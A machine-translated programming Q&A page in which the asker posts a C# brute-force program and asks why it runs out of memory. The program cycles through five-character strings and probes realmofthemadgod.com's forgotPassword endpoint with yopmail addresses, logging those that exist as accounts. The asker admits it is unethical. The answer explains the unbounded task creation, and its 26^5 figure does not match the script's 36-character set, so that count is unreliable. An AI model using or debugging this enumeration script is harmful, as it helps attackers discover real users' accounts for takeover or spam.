2016-05-22 4 views
0

私の問題は、あまりにも多くのメモリを使用しているということです。それは34%の使用率=>メモリ不足の例外のように低くなってから起き上がります。C#Webrequestでのメモリの問題

私はそれが使用されたメモリを取り除く方法、またはそれをもっと少なくするようにする方法がわかりません。私は本当に分かりません!

コード:

using System; 
using System.Collections; 
using System.IO; 
using System.Linq; 
using System.Net; 
using System.Text; 
using System.Threading.Tasks; 

namespace Kek 
{ 
    internal class Program 
    { 
     private static void Main(string[] args) 
     { 
      Program p = new Program(); 
      p.StartYopForce(); 

      Console.ReadKey(); 
     } 

     private readonly object syncRoot = new object(); 

     public void loadUrlThreadMethodMail(string email) 
     { 
      Console.Title = "\r" + email; 

      var request = (HttpWebRequest)WebRequest.Create("http://www.realmofthemadgod.com/account/forgotPassword?guid=" + email + "@yopmail.com"); 

      using (var response = (HttpWebResponse)request.GetResponse()) 
      { 
       if (response.ToString() == "<Success/>") 
       { 
        Console.WriteLine($"[{DateTime.Now}] Found: " + email + "@yopmail.com"); 

        lock (syncRoot) 
        { 
         using (StreamWriter sw = File.AppendText(@"C:\Users\Bailey\Desktop\Lists\yop.txt")) 
         { 
          sw.WriteLine(email + "@yopmail.com"); 
          sw.Close(); 
         } 
        } 
       } 
      } 
     } 

     public void StartYopForce() 

     { 
      Bruteforce b = new Bruteforce(); 

      b.charset = "abcdefghijklmnopqrstuvwxyz1234567890"; 
      b.min = 5; 
      b.max = 5; 

      foreach (string i in b) 
      { 
       Task.Factory.StartNew(() => 
       { 
        loadUrlThreadMethodMail(i); 
       }); 
      } 
     } 
    } 
} 

internal class Bruteforce : IEnumerable 
{ 
    #region constructors 

    private StringBuilder sb = new StringBuilder(); 

    //the string we want to permutate 
    public string charset = "abcdefghijklmnopqrstuvwxyz"; 

    private ulong len; 
    private int _max; 
    public int max { get { return _max; } set { _max = value; } } 
    private int _min; 
    public int min { get { return _min; } set { _min = value; } } 

    #endregion constructors 

    #region Methods 

    public System.Collections.IEnumerator GetEnumerator() 
    { 
     len = (ulong)this.charset.Length; 
     for (double x = min; x <= max; x++) 
     { 
      ulong total = (ulong)Math.Pow((double)charset.Length, (double)x); 
      ulong counter = 0; 
      while (counter < total) 
      { 
       string a = factoradic(counter, x - 1); 
       yield return a; 
       counter++; 
      } 
     } 
    } 

    private string factoradic(ulong l, double power) 
    { 
     sb.Length = 0; 
     while (power >= 0) 
     { 
      sb = sb.Append(this.charset[(int)(l % len)]); 
      l /= len; 
      power--; 
     } 
     return sb.ToString(); 
    } 

    #endregion Methods 
} 
+0

Main()内からProgramクラスのインスタンスを作成するのはむしろ奇妙です。別の手法は、残りのメソッドを静的にすることです。 – egray

+0

どういう意味ですか?それは私が推測するのは非倫理的ですが、テスト目的のためです。 – Versified

+0

プログラミング上の質問はここで話題になりません。この質問は、私たちの姉妹サイトにはうってつけです。 – Burgi

答えて

1

あなたは多くがまだそこにあるかを数えずに)StartYopForce(ループ内のすべてのタスクを作成しています。パラメータを指定すると、開始するタスクが26^5 = 11881376になります。

タスクの作成がタスクの完了よりも速く実行されるため、タスクリストが空になるよりも速く構築され、無視できるメモリ量ではないタスク数が与えられます。